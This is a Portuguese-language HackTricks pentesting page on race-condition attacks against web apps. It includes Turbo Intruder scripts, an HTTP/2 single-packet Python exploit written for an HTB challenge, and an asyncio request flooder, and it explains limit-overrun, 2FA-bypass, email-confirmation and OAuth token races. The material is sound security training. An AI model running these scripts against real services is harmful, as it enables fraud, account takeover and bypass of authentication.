hacktricks/src/pentesting-web/race-condition.md

20 KiB
Raw Blame History

Race Condition

{{#include ../banners/hacktricks-training.md}}

Warning

Para obter uma compreensão profunda desta técnica, consulte o relatório original em https://portswigger.net/research/smashing-the-state-machine

Aprimorando ataques de Race Condition

O principal obstáculo para explorar race conditions é garantir que múltiplas requisições sejam processadas ao mesmo tempo, com diferença muito pequena nos seus tempos de processamento — idealmente, menos de 1ms.

Aqui você encontra algumas técnicas para sincronizar requisições:

HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization

  • HTTP/2: Suporta o envio de duas requisições sobre uma única conexão TCP, reduzindo o impacto do jitter de rede. Contudo, devido a variações do lado do servidor, duas requisições podem não ser suficientes para um exploit consistente de race condition.
  • HTTP/1.1 'Last-Byte Sync': Permite pré-enviar a maior parte de 20-30 requisições, retendo um pequeno fragmento que é enviado em conjunto, alcançando chegada simultânea no servidor.

Preparação para Last-Byte Sync envolve:

  1. Enviar headers e dados do body menos o último byte sem encerrar o stream.
  2. Pausar por 100ms após o envio inicial.
  3. Desabilitar TCP_NODELAY para utilizar o algoritmo de Nagle e agrupar os frames finais.
  4. Fazer ping para aquecer a conexão.

O envio subsequente dos frames retidos deve resultar na chegada deles em um único pacote, verificável via Wireshark. Esse método não se aplica a arquivos estáticos, que normalmente não estão envolvidos em ataques RC.

Adaptando-se à arquitetura do servidor

Entender a arquitetura do alvo é crucial. Servidores front-end podem rotear requisições de formas diferentes, afetando o timing. Pré-aquecer conexões do lado do servidor, através de requisições sem importância, pode normalizar o tempo das requisições.

Lidando com bloqueio baseado em sessão

Frameworks como o session handler do PHP serializam requisições por sessão, potencialmente ocultando vulnerabilidades. Utilizar tokens de sessão diferentes para cada requisição pode contornar esse problema.

Superando limites de taxa ou de recursos

Se o aquecimento de conexão não for efetivo, provocar intencionalmente delays de limite de taxa ou de recursos do web server por meio de um flood de requisições dummy pode facilitar o single-packet attack ao induzir um atraso do lado do servidor propício para race conditions.

Exemplos de ataque

  • Tubo Intruder - HTTP2 single-packet attack (1 endpoint): Você pode enviar a requisição para Turbo intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder), você pode mudar na requisição o valor que deseja testar por força bruta para %s como em csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s e então selecionar o examples/race-single-packer-attack.py no menu suspenso:

Se você for enviar valores diferentes, pode modificar o código para usar esta versão que utiliza uma wordlist da área de transferência:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

Warning

Se o site não suportar HTTP2 (apenas HTTP1.1) use Engine.THREADED ou Engine.BURP em vez de Engine.BURP2.

  • Tubo Intruder - HTTP2 single-packet attack (Several endpoints): Caso você precise enviar uma requisição para 1 endpoint e então várias para outros endpoints para disparar a RCE, você pode alterar o script race-single-packet-attack.py com algo como:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Também está disponível no Repeater através da nova opção 'Send group in parallel' no Burp Suite.
  • Para limit-overrun você pode simplesmente adicionar a mesma request 50 vezes no group.
  • Para connection warming, você pode adicionar no início do group algumas requests para alguma parte não estática do servidor web.
  • Para delaying o processo entre o processamento de uma request e outra em um passo de 2 subestados, você pode adicionar requests extras entre as duas requests.
  • Para um multi-endpoint RC você pode começar enviando a request que vai para o hidden state e então 50 requests logo em seguida que exploram o hidden state.
  • Automated python script: O objetivo deste script é alterar o email de um usuário enquanto o verifica continuamente até que o token de verificação do novo email chegue ao último email (isto porque no código foi observado um RC onde era possível modificar um email mas a verificação ser enviada para o antigo, porque a variável indicando o email já estava populada com o primeiro).
    Quando a palavra "objetivo" for encontrada nos emails recebidos, sabemos que recebemos o token de verificação do email alterado e encerramos o ataque.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Melhorando Single Packet Attack

Na pesquisa original é explicado que esse ataque tem um limite de 1,500 bytes. Entretanto, em this post, foi explicado como é possível estender a limitação de 1,500 bytes do single packet attack para a 65,535 B window limitation of TCP by using IP layer fragmentation (dividindo um único pacote em múltiplos pacotes IP) e enviando-os em ordem diferente, evitando o reassembly do pacote até que todos os fragmentos cheguem ao servidor. Essa técnica permitiu ao pesquisador enviar 10,000 requests em cerca de 166ms.

Observe que, embora essa melhoria torne o ataque mais confiável em RC que requerem centenas/milhares de pacotes chegarem ao mesmo tempo, ela também pode ter algumas limitações de software. Alguns servidores HTTP populares como Apache, Nginx e Go possuem uma configuração rígida SETTINGS_MAX_CONCURRENT_STREAMS para 100, 128 e 250. Entretanto, outros como NodeJS e nghttp2 têm isso ilimitado.
Isso basicamente significa que o Apache considerará apenas 100 conexões HTTP de uma única conexão TCP (limitando esse ataque RC).

Você pode encontrar alguns exemplos usando esta técnica no repo https://github.com/Ry0taK/first-sequence-sync/tree/main.

Raw BF

Antes da pesquisa anterior, estes foram alguns payloads usados que apenas tentavam enviar os pacotes o mais rápido possível para causar um RC.

  • Repeater: Veja os exemplos da seção anterior.
  • Intruder: Envie a request para o Intruder, ajuste o number of threads para 30 dentro do Options menu, selecione como payload Null payloads e gere 30.
  • Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

Metodologia RC

Limit-overrun / TOCTOU

Este é o tipo mais básico de race condition onde vulnerabilities que appear em lugares que limit the number of times you can perform an action. Como usar o mesmo discount code em uma loja web várias vezes. Um exemplo bem simples pode ser encontrado em this report ou em this bug.

Existem muitas variações desse tipo de ataque, incluindo:

  • Resgatar um gift card múltiplas vezes
  • Avaliar um produto múltiplas vezes
  • Sacar ou transferir cash em excesso do seu account balance
  • Reutilizar uma única solução de CAPTCHA
  • Bypassing um anti-brute-force rate limit

Subestados ocultos

Explorar race conditions complexas frequentemente envolve aproveitar oportunidades breves para interagir com subestados de máquina ocultos ou unintended machine substates. Aqui está como abordar isso:

  1. Identify Potential Hidden Substates
  • Comece apontando endpoints que modificam ou interagem com dados críticos, como perfis de usuário ou processos de password reset. Foque em:
  • Storage: Prefira endpoints que manipulam dados persistentes do lado do servidor em vez daqueles que lidam com dados no cliente.
  • Action: Procure operações que alterem dados existentes, que têm maior probabilidade de criar condições exploráveis comparadas com operações que adicionam novos dados.
  • Keying: Ataques bem-sucedidos geralmente envolvem operações keyed no mesmo identificador, por exemplo, username ou reset token.
  1. Conduct Initial Probing
  • Teste os endpoints identificados com ataques de race condition, observando quaisquer desvios do resultado esperado. Respostas inesperadas ou mudanças no comportamento da aplicação podem sinalizar uma vulnerabilidade.
  1. Demonstrate the Vulnerability
  • Reduza o ataque ao número mínimo de requests necessárias para explorar a vulnerabilidade, muitas vezes apenas duas. Este passo pode requerer múltiplas tentativas ou automação devido ao timing preciso envolvido.

Time Sensitive Attacks

Precisão no timing das requests pode revelar vulnerabilidades, especialmente quando métodos previsíveis como timestamps são usados para security tokens. Por exemplo, gerar password reset tokens baseados em timestamps pode permitir tokens idênticos para requests simultâneas.

To Exploit:

  • Use timing preciso, como um single packet attack, para fazer concurrent password reset requests. Tokens idênticos indicam uma vulnerabilidade.

Example:

  • Requisite dois password reset tokens ao mesmo tempo e compare-os. Tokens iguais sugerem uma falha na geração de tokens.

Check this PortSwigger Lab to try this.

Hidden substates case studies

Pay & add an Item

Check this PortSwigger Lab to see how to pay in a store and add an extra item you that won't need to pay for it.

Confirm other emails

A ideia é verify an email address and change it to a different one at the same time para descobrir se a plataforma verifica o novo que foi alterado.

De acordo com this research o Gitlab era vulnerável a takeover dessa forma porque poderia send o email verification token of one email to the other email.

Check this PortSwigger Lab to try this.

Hidden Database states / Confirmation Bypass

Se 2 different writes são usadas para add information dentro de um database, existe uma pequena porção de tempo onde only the first data has been written dentro do database. Por exemplo, ao criar um usuário o username e password podem ser written e then the token para confirmar a conta recém-criada é escrito. Isso significa que por um curto período o token to confirm an account is null.

Therefore registering an account and sending several requests with an empty token (token= or token[]= or any other variation) to confirm the account right away could allow to confirm an account where you don't control the email.

Check this PortSwigger Lab to try this.

Bypass 2FA

The following pseudo-code is vulnerable to race condition because in a very small time the 2FA is not enforced while the session is created:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 persistência eterna

There are several OAUth providers. Esses serviços permitem que você crie uma aplicação e autentique usuários que o provedor registrou. Para isso, o client precisará permitir que sua aplicação acesse alguns dos seus dados dentro do OAUth provider.
Então, até aqui é só um login comum com google/linkedin/github... onde você é apresentado a uma página dizendo: "Application <InsertCoolName> wants to access your information, do you want to allow it?"

Race Condition em authorization_code

O problema aparece quando você o aceita e automaticamente envia um authorization_code para a aplicação maliciosa. Então, essa aplicação abusa de uma Race Condition no provedor de serviços OAUth para gerar mais de um AT/RT (Authentication Token/Refresh Token) a partir do authorization_code para sua conta. Basicamente, ela irá explorar o fato de que você aceitou que a aplicação acesse seus dados para criar várias contas. Depois, se você parar de permitir que a aplicação acesse seus dados, um par de AT/RT será deletado, mas os outros ainda permanecerão válidos.

Race Condition em Refresh Token

Uma vez que você tenha obtido um RT válido você pode tentar abusar dele para gerar vários AT/RT e mesmo que o usuário cancele as permissões para a aplicação maliciosa acessar seus dados, vários RTs ainda permanecerão válidos.

RC em WebSockets

  • No WS_RaceCondition_PoC você pode encontrar um PoC em Java para enviar mensagens WebSocket em paralelo para abusar de Race Conditions também em WebSockets.
  • Com o WebSocket Turbo Intruder do Burp você pode usar o engine THREADED para abrir múltiplas conexões WS e disparar payloads em paralelo. Comece pelo exemplo oficial e ajuste config() (contagem de threads) para concorrência; isso frequentemente é mais confiável do que agrupar em uma única conexão ao disputar estado no servidor entre handlers WS. Veja RaceConditionExample.py.

Referências

{{#include ../banners/hacktricks-training.md}}